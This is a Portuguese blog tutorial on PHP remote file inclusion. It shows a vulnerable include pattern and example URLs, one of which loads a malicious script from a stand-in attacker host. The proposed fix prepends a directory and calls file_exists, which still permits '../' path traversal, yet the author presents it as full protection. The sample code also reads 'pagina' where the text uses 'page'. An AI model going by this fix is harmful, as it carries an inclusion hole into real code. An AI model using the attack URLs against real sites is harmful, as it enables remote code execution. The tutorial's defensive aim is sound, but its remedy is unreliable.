Segurança com PHP II – PHP Injection

Olá pessoal ! Seguindo a sequência deste assunto relacionado a segurança com PHP, hoje falaremos no PHP Injection!

Clique aqui e veja o primeiro artigo: Segurança com PHP I – SQL Injection

DEFINIÇÃO/FORMA DO ATAQUE

O PHP Injection é semelhante ao ataque de SQL Injection, só que este tipo de ataque resume-se em passar informações por querystring (parâmetros da URL), comandos em PHP e/ou endereços de arquivos que serão interpretados e executados por seu script.

Muuuuiittooos sites por aí utilizam URL’s deste tipo para deixar seu conteúdo e estrutura dinâmicas:

http://www.sitevulneravel.com.br/index.php?page=novidades.php
http://www.sitevulneravel.com.br/index.php?page=paginas/views/novidades

O script responsável pelo carregamento da página faria a leitura do parâmetro page semelhante a isso:

// Cabecalho da página
include 'inc/header.php';

// Conteudo dinâmico de acordo com a
// URL passada pelo usuário 
include $_GET['pagina'];

// Rodape da página
include 'inc/footer.php';

Desta forma, o que estiver vindo do parametro page será incluído dentro do corpo sua página, inclusive se colocarmos algo desse tipo:

http://www.sitevulneravel.com.br/index.php?page=http://www.siteconcorrente.com.br/logo-do-cliente.jpg

http://www.sitevulneravel.com.br/index.php?page=http://www.siteporno.com.br/uma-imagem-muito-tensa-de-sexo.jpg

http://www.sitevulneravel.com.br/index.php?page=http://www.hacker.com.br/scriptmalicioso.php

Se o parâmetro safe_mode do PHP.ini estiver desabilitado (Off) e o parâmetro allow_url_include estiver habilidado (On), que não é algo incomum, a função include do seu script irá executar normalmente o que está nos parâmetros page, e daí o céu é o limite para o atacante.

PELAS BARBAS DO PROFETA, E AGORA ?

Como disse no primeiro artigo:

“Sempre trate informações vindas do usuário (Escapar entradas) e formate as saídas.”

Claro que só desativando o parâmetro allow_url_include no seu servidor WEB irá resolver o problema, porém, nem todos os servidores de hospedagem permitem que o você (cliente) altere as configurações do servidor, portanto, temos várias formas de contornar esse tipo de ataque, irei mostrar uma forma simples:

// Cabecalho da página
include 'inc/header.php';
 
$pagina = (isset($_GET['page']) && !empty($_GET['page']) ? $_GET['page'] : 'home.php');
 
if(file_exists('caminho_para_suas_paginas/' . $pagina)) {
    include 'caminho_para_suas_paginas/' . $pagina;
}

// Rodape da página
include 'inc/footer.php';

Foi criado uma variável $pagina, apenas para verificar se o parâmetro page existe e se o mesmo não está vazio. Logo após, verificamos se o arquivo solicitado existe (usando a função file_exists) dentro do diretório das minhas páginas.

Desta forma eu garanto que somente as minhas páginas, no meu servidor web, serão executadas dentro no corpo do meu site/sistema.

E é com essa dica de segurança no desenvolvimento WEB com PHP que termino esse artigo relacionado a PHP Injection, agora vocês já sabem como se prevenir de ataques PHP Injection.

Um forte abraço a todos e até o nosso próximo tópico de Segurança com o PHP.